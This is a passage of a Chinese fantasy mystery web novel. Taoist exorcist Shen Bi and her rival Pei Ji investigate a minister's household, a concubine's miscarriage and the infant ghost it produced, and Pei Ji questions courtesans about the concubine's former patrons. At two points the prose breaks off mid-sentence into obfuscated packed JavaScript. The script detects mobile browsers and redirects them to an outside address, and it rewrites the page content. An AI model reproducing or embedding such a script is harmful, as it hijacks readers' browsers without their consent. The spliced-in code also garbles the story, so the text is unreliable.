沈璧瞧着他满是算计的眸子,有些不适地皱起了眉头。 兰馨一事若是私了,那便是家中主事者自行处理家中奴仆,以何庭章对兰馨的恨意,只怕她这边前脚超度了婴灵,兰馨后脚就会被他折磨至死。 但若此案过了公堂,那可就大不一样,律例有云,妾通奸,徒一年半,纵算再给她加个隐瞒的罪名,也还能保住一条命。 她自是不想兰馨折在何庭章手中,可现下她的身份摆在这——何庭章再如何有私心,好歹付了上清观法金,她怎么也不能明着和他对着来。 沈璧正飞速思索着办法,余光忽地瞥到了站在院角的一行和一停,顿时心生一计。 于是她笑着应下何庭章的话:“我自会替您保密,别说京兆府了,便是万年县县廨都不会有一人知晓此事。” 听到这话,何庭章脸上露出些满意的笑。原还担心苍梧道长的弟子会与她一样古板,不曾想竟这样上道。这样看来,小观终究是有小观的好处,这不,沈璧比那该死的裴七让人舒心多了。 他招招手示意宋管事上前:“如此,那你便听从沈道长吩咐,定要将那奸夫揪出来!” 瞧着何庭章一副迫不及待的模样,裴霁勾唇一笑:“何尚书,您怎么知道那日进兰馨院子的一定就是与她有情之人呢?” 何庭章有些哑口无言:“都是要查的,我不过是随口一提。兰馨虽不知这孽种是为何落的胎,但一定知道奸夫是谁啊,两位道长该先审她,从这入手岂不最快?” 沈璧摇头叹息:“何尚书,婴灵脱胎于兰馨,依仗兰馨才能存活,自然与兰馨同气连枝,眼下它迟迟没找出那个伤害自己的真凶,更会想方设法保护兰馨。别说是审问了,便是让兰馨继续像现在这样幽囚受辱,都会使得后面超度婴灵越发艰难。” “尚书府从前日日闹鬼,便是府内苛待兰馨结下的恶果。眼下最重要的,是弄清兰馨究竟是如何落的胎,该审的不是兰馨,而是尚书府院中诸位。大雨那晚,到底有谁离开了院子,这才是最重要的。” 何庭章被沈璧一番话震在原地。 什么意思?这贱人如此不贞,他还得将她供起来不成? 他憋屈得面皮涨红——确定孩子非他所出的那一日,他便动了将兰馨弄死的心。谁料她竟这么命好,落的胎成了怨灵。原打算即便不杀,折磨折磨出口气也好,谁知到了现在,竟连折磨都不行了? 何庭章气得一身肥肉都有些发颤,好在宋管事及时扶住了他的手臂,叫他捡回了一些理智。 前头沈璧已经答应帮他隐瞒,他便不好再不配合,这少女能制服婴灵,显然是有些真本事,好不容易请到个有用的道士,何必在这个当口惹出许多不愉快来? 想起同僚之间的议论纷纷,他将心中的不悦生生憋了回去,换上副笑容:“罢了,都按沈道长说的办,宋管事,你快按道长说的去布置吧。” 一声令下,方才都躲在各处瑟瑟发抖的下人们迅速钻了出来,各自去院中报信了。 沈璧将平静下来的婴灵收入小壶天中,等看着何庭章离开了葳蕤院,她才走向兰馨,试图再问出些什么。 可惜这回,兰馨的嘴又变回了紧闭的蚌壳,不论她如何问,兰馨都咬死了自己什么都不知道,浑然没了方才为婴灵求情时的能言会道。 沈璧心知,兰馨不愿说,自己也拿她没办法,于是只能叹惋地看着她跟着宋管事离去。 裴霁早料到兰馨一个字也不会吐,瞧着沈璧这番努力只觉得好笑:“指望她开口,还不如指望铁树开花来得快。” 沈璧就知道这东明观弟子狗嘴里吐不出象牙,轻哼一声道:“说的是啊,撬不开兰馨的嘴,就得不到更多线索,那便只能一一去审了。你既不会捉妖,便理应在此处多出些力,这事就交给你办,也算是历练的一环。” 一行和一停立刻上前:“那我们帮着裴道长一起审。” 沈璧叉腰看着这二人:“喂,刚才我问兰馨话,你们两个就当木头桩子,现在他要干活了,你们倒是积极了?你们到底是来帮我还是帮他?” 一行和一停立刻后退两步:“那我们不帮裴道长了。” 裴霁:“?” 沈璧满意点点头,叫一行一停两人出去等待一番。待他们远至听不见她说话时,她才转头看向裴霁:“等会我一走,你便去送信给京兆府那位法曹参军,叫他带人一起来审,尤其是尚书府各院的主子,定要着重审问。” 裴霁挑眉:“我东明观凭什么要干这种得罪何庭章的事?” 原以为这少女只是狡猾,现在看来简直是狡诈。在何庭章面前装乖,转头就要他和东明观为枪做刃,以为他是傻子么? 沈璧简直觉得孺子不可教:“谁让你在信上写东明观三个字了?我识得那京兆府的法曹参军。你与他说明尚书府的情况,让他来查神秘人就行了。不过要记住和他交代,不要将我们俩卖了。” 只要一句话就来,这关系只怕不一般。一个上清观的道士,为何会跟京兆府法曹参军熟识? 他不动声色地试探:“听你这么说,那法曹倒像是你的朋友了?” “是啊。”沈璧答了这句便不再多透露一个字,还不断催促他,“如何?不费你什么功夫,跑个腿就行了。” 裴霁心中疑窦丛生:“纵那法曹跟你交好,不怕得罪人,也不会跟何庭章说是你叫的他,但消息是如何从尚书府流出去的,这总要有交代吧。何庭章可不是傻子,到时你让法曹如何与何庭章解释?” 瞧沈璧不但不为此发愁,反笑得奸诈,还不住地往一行一停的方向望,他心中忽地有些不好的预感。 “你这是打算把黑锅扣在镇妖司头上?” 沈璧听他语气不对,头顶似有乌云笼罩,一时觉得有些奇怪:“不然呢?不是说那裴司禳使如何如何有身份么,还怕一口黑锅不成?再说了,我又没给你扣黑锅,你这副神色做什么?” 竟真是这样的打算。 裴霁听她那理直气壮的语气,险些被气笑。 方才说她狡诈都轻了,这少女简直是奸诈,奸诈之极。 成篇的谎话她是张口就来,坑人的事她是随手就做。 才见了不过短短半天,便计划着要谋害他第二回了。 前头院中装神弄鬼的那笔账都还没同她算,眼下她竟又算计到了镇妖司和他头上。 她明明可以自己去找法曹,但为了将上清观撇的干干净净,竟连这点风险都要他替她去冒。 裴霁冷笑连连:“我武功高不假,可我凭什么要帮你跑这一趟?拜师那套就免谈了,据我所知,我师父付你的金子都快能买下整个上清观了,再如何的教导也该银货两讫了吧。” 沈璧原先还真打算搬这一套出来,大不了事后拿些捉妖秘法糊弄裴霁,让他心甘情愿地为自己办事,没想到这小子脑子竟算得那么清楚,将她的心思一语道破。 亏她前面还动了恻隐之心,有那么一瞬想当个好师父,果真是白费力气! 她立刻反讥道:“既你都这么说了,那大家也不必装模作样了,索性摊开来说好了。你说的对,拜师那套还是免谈为好,且不提你资质这么差还自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486164|202022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视甚高,脾气也差得很,进来到现在半点想学的态度都没有,就算你是个翩翩公子,我也没想和你有什么师徒关系,不过是为了钱,你爱学不学。话又说回来了,你也不看看你的年纪,瞧着比我还大几岁呢,还想当我徒弟,你想得美!” 正常人若被这般攻击,大约早已被气得神智不清,但裴霁脸皮厚如城墙,不但不恼,反笑了出来:“既如此,那你求求我,我也不是不可以考虑当你的师父。” 沈璧捂着胸口,被这回答惊得后退了两步。 真是上天入地难寻第二个脸皮这般厚的人。 她气得半天没说出话,好半晌突然反应过来—— 不对啊,她干嘛要跟这人置气,横竖东明观金子都给了,待尚书府的事一完,大家便桥归桥路归路。裴霁要是看她不爽,那就自己滚回东明观好了,她可没说不教,东明观再怎么也不能怪到她和师兄头上吧? 想通了此处,沈璧毫不客气地对裴霁道:“你不去送信也行,那你便自己一个人带着这两位副使审吧,尚书府下人不少,便辛苦你连夜审了。” “哦?那你去干什么。” 沈璧咳了两声:“你管我呢,我要亲自查探一些要紧之事,你只管办好这件事就好。” 这是要自己偷偷去送信? 裴霁眼中闪过一丝探寻的光,面上做出失望叹气的模样:“方才看道长的金罡阵当真是学到颇多,不曾想道长竟还有私藏手法不愿意分享,莫不是嫌弃东明观给的金子还不够多?” 他几乎不相信审问能审出什么真东西,何庭章这样掌钱粮的职位,必须也必然以清名廉名为立身之本,王之薇又出身于极推崇妇人“贤良淑德相夫教子”的太原王氏,这样的结合,纵尚书府中真有猫腻,明面上也是问不出任何东西的。 与其祈盼从审问中套出些有用的消息,倒不如另辟蹊径,抓了其他证据线索再反过来逼问。眼下,沈璧显然也打了这个主意,这才将审问之事丢给他这样一个“废物”来做。 他倒不是非要跟着她,只不过此女身上疑点颇多,更别提她那无时无刻的鬼心思,还是盯紧为好。 不曾想,沈璧没答他,只是抬头望了望天。 “道长做什么呢?” 沈璧笑眯眯道:“哦,也没什么,我看看太阳是不是打西边出来了。” 方才还一口一个你的,现在就一口一个道长了,变脸真快! 话毕,她敛了笑容,话锋一转哼道:“得了吧裴七,还没装够?就你还学到颇多呢,但凡有一个字是真的,你今日也不会站在此处了。” 裴霁:“……” 一行和一停正蹲在门口用树枝在地上下棋,忽见沈璧哼着歌走出来。叮嘱完他们审问的注意事项后,沈璧便头也不回地走了。 二人奇怪地回头,不知为何沈璧又变了主意。只见裴霁站在院中,一副气得不轻的模样。 从来只见司禳使捉弄别人,何时见过他被气成这副模样?一行看得大为惊奇。 察觉到裴霁的眼神看了过来,他立刻换了表情,恭敬问:“司禳使,咱们现在去审吗?” 裴霁深吸几口气平复了情绪,将国公府令牌扔给他们:“你们回去支些人手,自去审问就好。我还有事要查。” 一停有些傻眼:“就……就我和哥哥二人么?” 裴霁顿了顿,随手折了朵兰馨院中的月季,这才道:“去给京兆府法曹送信,就说镇妖司人手不够,请他从司录那支两个人过来记录。此事暂时悄悄地办,不要惊动他人。” 一行点头应是,见裴霁将那刚攀折的月季簪至冠帽,就要越墙而去,他急忙追问:“若审问过程中发现有异,该去哪找司禳使?” 裴霁停下脚步,紧了紧冠上的月季,一行这才发现,不知何时,裴霁的表情又变回了那副玩世不恭的少年模样,只不过,他头上那朵浅粉的月季凝露含娇,叫他一张俊脸又多出几分风流神色。 他漫不经心一笑,闲闲问:“这还看不出?” 一行心下一惊,心中有了几分猜测,不敢再问。 如此装束,在这样的时辰,向来只有那一处地方可去。 8. 第 8 章 沈璧回到蘅芜院,先拧开了小壶天,唤白雪出来。 想是知道自己白天搞砸了大事,白雪扭捏了半天才缓缓化出实形,拉着沈璧的袖子不住陪笑。 “小满,满满,我不是故意的嘛,那打嗝也不是妖能控制的,对不对?” “那也是,一连那么多个嗝,一般妖也打不出来,”沈璧撑着脸颊,无精打采道,“不过也不能怪你,实在是那裴七太难搞了,怪不得东明观着急呢。” 白雪连忙点头:“就是就是。” 沈璧将话题转回正事:“我找你出来是想问,尚书府的花园中可有你能说得上话的花妖?” 白雪的本体是球兰,花妖中没有比她更见多识广的了。 白雪想了想,点头道:“有啊,不过得等再晚些,这个点她们还睡着呢。” 沈璧羡慕地打了个哈欠:“我也想睡。” 白雪却是十分兴奋,摇着她的手臂:“你别睡呀满满,你先告诉我白日那厅里究竟藏了什么妖异,妖力竟如此强劲,就连当年的我都比不上呢。” “我要是知道就好了,”沈璧撑着脸颊,也是头痛异常,“别说是当年的你了,便是低阶小妖被小壶天捕捉都会有所感应,立刻躲起来,小壶天又没法识别妖的种类,根本无从下手。” 想到此处,沈璧也是奇怪:“按理来说,那妖的妖力比婴灵还要强上三分,若想要作怪,大可趁着婴灵作怪之际将尚书府搅得血雨腥风,可为何偏偏一点动静都没有?让尚书府所有人都对它一无所觉,仿佛它不存在一般?” 白雪也学着她撑住脸颊,冥思苦想了半天,突然眼睛一亮,神秘问:“那会不会这妖就是尚书府的人请来的?” 沈璧摸摸下巴:“不太可能吧,且不说长安妖异本就稀少,再说,妖也不求金银珠宝,哪会甘愿留在尚书府这样种满镇宅之树的地方?别说修炼了,便是待在此处都会浑身不适才对。” “这你就不懂了满满,世上古怪之事多了去了,换作以前我也想不到会跟你一个道士日日待在一起呀,”白雪双手抱胸,煞有介事道,“再说,这些大官家里的事可黑暗了。” “我有个姐姐从前便长在宰相的后花园中,据她说,她亲眼瞧见了宰相的家眷,哦,就是那位平阳长公主同一只猫妖在讲话,还互相交换了什么东西。这尚书府指不定也是这样,藏了不少不干净的东西。” 家眷是平阳公主的宰相?那不就是英国公裴申平么。 沈璧剥了个枇杷啃了口,又递给白雪啃了口,好奇问:“猫妖可是出了名的狡诈,平阳公主还真是胆大。后来呢?后来这平阳公主怎么样了?” 白雪叹息一声:“我也不知道啊,我早和那姐姐断了联系,再也没碰见过她的种子。” 沈璧唏嘘不已,白雪万千种子可随风飘散,只要寻到愿意搭话的花妖,便可与其交谈,既再也没有音讯,想来她那姐姐是被某个道士收了或杀了。 两人将一碗枇杷吃了干净后,白雪便重新躲回了小壶天中,带着沈璧一路往后花园而去。 长安的四月仍有微风,到了夜间便是更凉,沈璧攥着手上的素纱绢灯,感受着自后花园曲池吹来的风,紧了紧身上的披帛。 她停在一棵槐树旁,环视一周确认无人后,将白雪自壶中放了出来。 白雪瑟瑟发抖地捂着身子,往沈璧怀中缩了缩:“满满,一定要站在这种招阴的树边吗,这也太冷了。” 沈璧不客气地将她拉出来:“离魂符自然要在招阴的树旁用。你说的姐妹是哪株?这阴气大盛的时辰就要过去了,咱们得抓紧了。” 白雪撇撇嘴,指指花园末尾的一束蔷薇:“喏,是她。她说自己瞧见过一些奇怪的事,但不肯告诉我,说只同你说。” 沈璧点点头,掐了根槐树枝下来摆在那束蔷薇旁,咬破手指画了个离魂符,贴在蔷薇花心。 血珠自符咒上迅速滚落,滑落至花心的一瞬,被血浸染蔷薇花瓣奇异地舒展开来,发出少女般的娇俏轻哼: “你好啊,小道长。” —— 裴霁赶在坊门关闭前的最后一刻入了平康坊。 此处彩灯高悬,丝竹不绝,丝毫不受宵禁的限制,是真正的不夜之坊。 从前参加新科进士的闻喜宴时,他随父亲来过此处。那时带着令牌名帖,假母们并不敢太过殷勤,眼下他衣衫松散,头上簪花,身上也沾满酒气,任谁都会将他当成背着家里偷偷溜出来醉生梦死的公子哥。 很快便有数名小妓围了上来,想将他拉去玩,裴霁假意醉酒,跌跌撞撞地将围着的人推开,顺着记忆停在了留香阁前。 红袖拿了把扇子站在留香阁门口,正忧愁今日能不能接到客,忽见一个长相俊极的少年郎出现在了自家门口。 她揉揉眼睛,几乎以为自己闪了眼——留香阁可是好几月都没什么人来了。 可再睁眼,仍是那冠边簪了朵月季的俊俏少年。他一双桃花眼亮极美极,饶是红袖见多识广,一时也被盯得羞红了脸。 “郎君,入内听支曲么?”红袖喜不自胜,羞涩一笑,声音极尽温柔。 裴霁盯了她半晌,这才笑了笑:“当然。” 红袖屏着的呼吸一下松了开来,眉开眼笑地引着裴霁往阁中走。假母见红袖竟带了人来,还是个满身贵气的公子哥,也是大喜过望,与红袖一道簇拥着裴霁往二楼雅间而去。 雅间门缓缓闭上,假母殷勤倒茶,红袖方抱起琴,忽听裴霁问:“就你一个人弹琴么?” 红袖愣在原地,一时有些不解。 假母立时扭腰走了上来,拉开红袖,眉开眼笑道:“公子可是还想看舞?奴家这就叫绿腰上来,别的不说,单就舞技,整个平康坊都找不出第二个——” “你这有多少伶人,全送到我房里来。” 裴霁听得有些不耐,干净利落地打断了她。 假母这下也跟红袖一样愣住了。 这公子看着一表人才,不曾想竟这么好色。不过于冷清已久的留香阁而言,这无异于天上掉馅饼了。 假母眼神中仍存了几丝警惕,但那张雪白的脸终于浮现出几丝真心的笑意:“公子,您这一下开口要全部的人,有几位还正在给别的客人表演呢——” 裴霁轻呵一声,还别的客人。刚才一路上来,龟奴都看不见两个,可见穷得连基本的运转都要出问题了。只怕有客人是假,试探他是否是个来骗吃骗喝的假公子才是真。 懒得再废话,裴霁直接自怀中取了三块银铤扔在桌上: “我不想重复第二遍。” 假母看得双眼发亮,忙不迭地将银铤扒入怀中:“奴家这就去为公子叫人,红袖,快,快为公子斟酒弹琴。” 丝竹声很快响起,不断有伶人含羞带笑地扭腰走入,直到假母再次殷殷上前,表示阁内伶人都已在此处,裴霁这才再次开口:“你也留下。” 屋内的女孩们都愣住了,假母也愣住了。 她年老色衰,一贯客人们来这都没有要点她的,这公子怎么有这样的癖好? 不过谁会拒绝赚钱的机会呢。 她不动声色地摸了摸脸,以为自己风姿犹在,一时间抑制不住笑容,正要殷勤替裴霁再斟一杯酒,就听他开口道: “你们当中,认识兰馨的上前一步。” 说这话时,裴霁仔细观察着每一个人的脸色,大部分人听到兰馨这个名字时,脸上都是厌恶害怕的神色,唯有少数几个仍是一片漠然,但不约而同地,没有一个人敢上前。 假母再也笑不出来,脸色变得十分难看:“公子何故要问兰馨的事?留香阁因兰馨才沦落至此,公子这样做,岂不是为难我们?” “哦?是为难么?” 裴霁玩味一笑,掏出一铤金子放在桌上。 他将金子举起,在所有伶人面前走了一道,待所有人眼睛都直了,他才笑着回到座上:“敢张口的,可以开始了。” 假母方才犹豫,现下却是第一个站了出来: “兰馨这孩子是我一手带大的,她原是阁中最受欢迎的乐伶,一曲《凉州》叫豪客争赠无数,长安大小宴饮都常叫她去弹琴,红袖的琴便是跟着她学的,即便不及兰馨十中之一,也已够在平康坊立住脚跟。这样的孩子,我虽希望她能留下,可她到底是我一手带大,我也希望她能有个好归宿。奈何她实在命苦,前头好几个恩客都没有把握住,渐渐也就蹉跎了年岁,虽说后面被何尚书看重,赎回了府中,但谁能想后面又出了那样的事——” 裴霁细细听着,不忘看着场上众人的反应,见一屋子的莺莺燕燕都在假母说到“希望她能有个好归宿”时露出了不屑的神色,不由笑了。 他看向那个白眼翻得最大的伶人,问:“你叫什么名字?” 绿腰没料到自己会被突然点名,一时有些愣住:“回公子,奴家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486165|202022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿腰。” 假母扭腰走到她身边,牵着她向裴霁介绍:“这位是从前常为兰馨伴舞的舞姬。” 裴霁瞧她口齿还算清晰,点点头:“就你,还有红袖两个人留下,其余都可以出去了。” 假母正眼馋地盯着那铤金子,忽听裴霁这话,一时愣在原地:“出去?” 裴霁不客气道:“对,滚出去。” 假母没见过这般少年郎,分明上一刻还在笑,下一刻就让你滚。她挂不住面子,只能讪讪退下。 一下,满屋的莺莺燕燕便只剩下绿腰和红袖两人,裴霁看着这两人,叩叩桌子:“这下不用有顾忌了,说说实话吧,具体说说兰馨从前那些恩客。” 绿腰胆战心惊地瞧裴霁一眼,原以为这是位出手阔绰的翩翩少年郎,不曾想竟这么喜怒无常。她心中那点小心思不敢再想,只使劲回忆,将能想到的都说了出来:“兰馨从前恩客有许多,但最舍得花钱的,应当就只有那两位。” “哪两个?” “这……奴家也不知道他们的身份,兰馨擅琴,我常被叫去伴舞,与她一同招待客人,这才得知这两人的存在。” 绿腰看裴霁似乎并不买账,着急地戳戳红袖,希望她替自己说几句。 “是真的,”红袖急忙点头,“公子应该也看得出,留香阁比不上南曲那些大院。因不讲究名帖,便有很多不愿意暴露身份的客人来玩,公子们大多戴着垂纱胡帽,又怎可能将身份告知我们呢。” 裴霁笑道:“身份不重要,我要的是长相。” 他抽出案边的竹纸,又加了一铤金子当镇纸:“近身斟酒时总能窥见一二吧,想到多少就画出来多少。” 绿腰立刻喜不自胜地画了起来,一旁的红袖看着眼红,面上却不敢露出半点,谁让绿腰才是那个见过恩客的人呢。 只是她也不愿就此罢休,绞尽脑汁想了半天,双眼忽地一亮,对裴霁道:“方才阿母说的其实不尽属实,我还有一些关于兰馨的事,想要告诉公子。” 裴霁心知她是见钱眼开,但还是故意问:“想来那假母对你们也是管教颇严,方才我叫你们实话实说时不提,怎的现在才提?” 这番话说得红袖有些羞赧,但她在酒色场里混生活,自是知道什么才是最重要的,因此也不扭捏,反不卑不亢道:“公子是金尊玉贵的出身,奴家这样的人却不能不多为自己想想,其实阿母也是一样,她嘴上说要放兰馨走,心间转着的却是另一套想法。我虽无缘与兰馨一同伺候那几位恩客,但日日与兰馨住在一块,她的所思所想我也能猜到几分。” “其中一位恩客,是在兰馨还未成名时便开始来阁中的,那位对兰馨可谓是情有独钟,次次来都只听她一人抚琴,偶然才会叫上绿腰,每回他来,兰馨都会高兴很久,回到房中还会一个人捧着几张纸看许久。我曾趁兰馨出门时偷偷打开她的妆奁盒子看过,可惜认不全上面的字。我猜,那些多半是那恩客写给兰馨的词句。我想他们既情投意合,指不定兰馨很快便要脱离苦海,不曾想,兰馨忽地因为一曲《凉州》在坊间名气大噪,一下,要见兰馨的人数不胜数,阿母渐渐便变了想法,每日将兰馨的时间卖给那些出了高价的客人,那位恩客竞争不过,渐渐也来得少了。” “第二个出手阔绰的恩客,则是在兰馨名气大噪后来的阁中,他豪掷千金,只说要见兰馨一面,后面也是如此,兰馨的身价再如何水涨船高,他都挥金似土,每隔几日便来见她一次。” “有这样的恩客,兰馨自是当之无愧的阁中花魁,可那段时间,我瞧着她却并不开心,日日捧着那几张纸垂泪,我曾旁敲侧击地问过她赎身的事,可她也只是哭,说些身不由己的话云云。” “我瞧着她状态不对,于是同阿母说,叫阿母也跟那两个恩客提提赎身的事,可阿母却将我训斥了一顿,罚了我两天不许吃饭,还说我若再敢撺掇此事就将我发卖出去,我自是不敢再提。” 裴霁一面听着,一面留意着绿腰的动作。 说话间,绿腰的两张像也渐渐画完了轮廓,她画技虽不算顶尖,却能抓住人物特征,画得极有辨识度。 定睛看去,两张纸上的年轻男子面容竟有几分相似。 裴霁瞧着左边那幅画上的面容,不由倒吸了一口凉气,暗道竟真是这样。 画上男子浓眉大眼,生得一表人才—— 不是别人,正是白日在尚书府见过的二公子何澜松。 9. 第 9 章 沈璧在后花园中待了一夜,将近天明才从园中出来,正在小径上碰见行色匆匆的一行和一停。 这两人身后跟着几名穿着黑色窄袖圆领袍的侍卫,叫沈璧心生疑窦,她前后左右瞧瞧,确认没见着裴七的踪影,立刻几步追了上去叫住二人:“一行一停,你们这是去做什么?” 一行一见是沈璧,立刻笑着行了礼:“原来是沈道长,审问结束了,我正打算带一停去找你。” 他们对这个制服婴灵的捉妖师都有些崇拜,尤其一停,看向沈璧的眼睛闪闪发光。 “裴七不是跟你们一块审的吗,他人呢?”沈璧狐疑看着二人,猜测是不是他们把裴七支走了。 一行一下卡住了,这方面司禳使还真没说过该怎么答。他转念一想,反正只要司禳使身份不暴露,应该怎么答都无所谓吧—— “他去平康坊了。”一行索性说了真话。 “他去平康坊了?!” 好你个裴七!东明观弟子果真是不学无术,花天酒地。她辛辛苦苦查案,他倒好,溜去烟花柳巷快活。 沈璧气得牙痒痒,在心底记下这笔,又指了他们身后那几名侍卫打扮的人问:“这些人是做什么的?” 一行回答得很快:“司禳使担心人手不够,从国公府的亲卫中调了几人来帮我们,他们原是平阳公主府的侍卫,审问抓捕皆是一流的功夫。” 沈璧一听,立刻警觉起来:“你们司禳使怎的对此处消息这般灵通?莫不是人就在尚书府?” 何庭章定不会自己主动将事情往外说,只能是一行一停二人去禀了那裴霁。但尚书府离国公府脚程不近,去一趟要时间,说明情况也要时间,支人也要时间,但来人竟如此之快,一晚上便审完了,怎么都很让人怀疑。 裴霁此人既敢抢官位,定也敢抢功。若他当真如此密切关注此事,那就不得不多留个心眼了。 一行也意识到自己说漏了嘴。可谁料沈璧竟这么敏锐,一下就将事情猜了个大概,他既不想对沈璧说谎,可也不能说出实话—— 于是,他憋了半天想出一个解释:“司禳使非常关注尚书府一事,怕我和一停做事不及时,给道长添麻烦,每隔几个时辰便会派人来问此处的情况,因此虽不在府内,消息却十分灵通。” 一行并不知上清观和裴霁的过节,自以为自己这番话滴水不漏,不想,听在沈璧耳中,却是坐实了裴霁小人之实。 她心里冷哼一声,心道自己的猜测果真没错,这裴霁表面上是只派了一行一停二人,背地里却是如此无孔不入! 沈璧于是对接下来要说的话更加心安理得。她先是问二人审问之时可问出些什么,得到意料之中的否认答案后,便叹气一声道:“想来尚书府人人自危,凭咱们是问不出什么的。” 一停听罢有些沮丧,觉得或许是自己不够细致,这才发现不了关键的信息,愧疚道:“我和哥哥也是能力不足,没帮上沈道长,真是抱歉。” 沈璧立刻面容严肃打断了他:“一停,这话你可就说岔了,若你们能力不足,又怎么能进镇妖司?在葳蕤院中捉婴灵时,我一看你们便知是可塑之才,捏诀行步比我上清观大部分师弟还要精进得多。话又说回来了,你们为了此事一晚没歇息,该是我感谢你们才对,你们又何必妄自菲薄?只消多多学习,定能弥补经验的不足。” 她边扯边观察着一行的表情,果见这少年满脸感动,一旁的一行也被夸得心潮澎湃,心中便是一喜。 自己猜得果然没错,这二人心思纯净,比那裴七好糊弄多了。 “沈道长,人人都说自己那晚并未离开院子,如果是您来审问,又该怎么问呢?”一停好学地追问,眼神中满是对求知的渴望。 沈璧咳了两声,胸有成竹道:“我且问你,那兰馨说自己遇到进入院子的神秘人时,约莫是什么时候?” “晚饭后。” “那便是了。据我所知,尚书府用饭一贯是各院分用,各院按各自用饭时间去厨司领饭,没有一块用膳的惯例。而有孕之人易饿,那段时间,因兰馨有孕,厨司的人一贯是最早为兰馨备好饭食的,之后再照顾其余院子。直接问每个人是否在那晚离开了院子既不奏效,说明这个问题在他们心中已经跟兰馨落胎之事紧紧挂了钩,自然是抵死不认,因此,要换个问法。” 一行仍没听明白:“那应该怎么问呢?” 沈璧神秘一笑:“若是我,便会去厨司问各院那晚是何时传的晚饭,再分别问各院下人那日是何时用的晚饭。” 一行还在愣神,一停却是彻底明白了过来。 若计划要离开院子,要么便会着急用饭,要么便会等着回来再用,如此,用饭的时辰定然会与往常不同。之前他们的问题太过有指向性,只怕人人都已心存戒备,提前准备好了答案,可这个问题出乎意料,定然不会有人提前准备,就算会有人在审问过程中意识到不对,故意不说真实时辰,但只要人与人之间的口供有差,那便能顺藤摸瓜接着往下查了。 一停一边佩服沈璧,一边又悔恨自己怎么没想到此法,白白浪费了一晚时间,恨不能带着侍卫重新再审一遍。 沈璧瞧着他的神情,心道火候到了。 她拍拍他的肩,仿佛十分理解地安慰道:“不必气馁,其实我这法子也有赌的成分。更何况,眼下并不需要再审,我已锁定了那晚进入过兰馨院中的人。” 经历刚刚那一问,一行和一停早已对沈璧深信不疑,佩服得五体投地,现在听沈璧这么说,他们二人更是激动万分。 一行几乎有些不敢置信:“不愧是沈道长,所以是谁进了兰馨的院子?” 一停则是迫不及待追问:“沈道长,您没审任何一个人,这是怎么确认的?” 沈璧不紧不慢地清清嗓子:“这个么,可是我上清观秘法,按道理来说,是不该外传的——” 一停本就想多学点东西,听此法竟是上清观秘法,心道一定是什么高明的道术,一时更加渴望:“那,那我 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一行捏着那封信,愣了半晌才回过神来。想起裴霁的叮嘱,他有些歉意地问:“沈道长,可以告诉我们是什么事情么?” 见沈璧半天没说话,似乎有些难以启齿,一停也跟着有些愧疚——刚刚才说完可以帮她,现在又扭扭捏捏,实在显得他跟哥哥不够诚心。 可司禳使叮嘱过,暂不能让别人知道镇妖司与京兆府的事,想来司禳使是有自己的打算,明面上不能和京兆府扯上关系,若是他和哥哥贸然送信,打破了司禳使的计划,那便大事不妙了。 沈璧没料到一行一停如此谨慎,明白此事怕是难以糊弄了。思索再三,她还是拿回了这封信,做出理解的模样:“无妨,无妨,你们有难处,我也不会强人所难。” 既然无论如何都行不通,她便自己去一趟吧,好歹兰馨一条人命。 这一下,一行和一停心中的愧疚达到了顶峰,两人绞尽脑汁想着办法,忽然,一行双眼一亮:“说起京兆府,沈道长,今日清晨,我在府门口看见了几名京兆府的录事,像是有什么事,或许道长可以试试找他们帮忙送信。” 一停也跟着连连点头。还是哥哥有办法,这样说既不会暴露是司禳使叫的人,他们也可以隔绝在事情之外,沈道长还可以找到帮忙的人,真是一举三得。 沈璧几乎以为自己听错了,反复确认:“你当真看到了京兆府的人?” 见了鬼了,何庭章对京兆府躲还躲不及呢,怎么会召录事入内? 但一行和一停使劲点头,沈璧也只好猜测——或许是京兆尹关心此事,所以派了人来查问? 既如此,那便得抓紧时间,趁着京兆府的人还没走,将真相撕开闹大了。 当着一行一停二人的面,沈璧将昨晚在后花园听到的事和盘托出:“我有证据证明,大公子和二公子都在那晚进了兰馨的院子。” 10. 第 10 章 一行和一停这下真的是下巴都要掉到地上。 “都?都进了?”一停结结巴巴地确认。 一行也是大为震惊,不止一个,居然是一双?尚书府果真是卧虎藏龙。 “当然。”沈璧颔首,“不过有一点我还没弄明白,他们并非一道进了兰馨的院子,而是一前一后。何庭章说何澜清是在那日之后开始生病,我猜想,一定和那晚在兰馨院中发生的事脱不了干系。” “那是谁在先谁在后呢?”一停追问。 沈璧刚要作答,忽听背后一道懒洋洋的声音响起。 “自然是那位二公子在前,大公子在后了。” 这声音欠揍至极,除了裴七不会有第二人了。沈璧冷哼一声回头望去,这位一晚没见的东明观弟子形容整洁,神采奕奕,看着像是好眠了整整一夜。 一行和一停急忙后退两步,下意识地想要行礼,又硬生生刹住,只齐齐唤了声裴道长。 沈璧才不打算给他面子,直截了当地拆穿了他:“看你这春风满面的样子,平康坊挺好玩啊?” “还需你说?”裴霁挑挑眉,笑得意味不明,“我昨夜可是在平康坊看了一晚的好戏。” 此人居然半点不否认,还引以为傲? 沈璧鄙夷道:“那我也等着看你回去被你师父暴揍的好戏。” 瞧着一场大战又要爆发,一行急忙出言缓和气氛:“裴道长,可以跟我们讲讲平康坊的戏么?” “自然。” 裴霁悠悠开口:“传闻,平康坊一座妓馆中有一名天仙般的花魁,那花魁在成名前,曾与一位恩客私定了终身。” 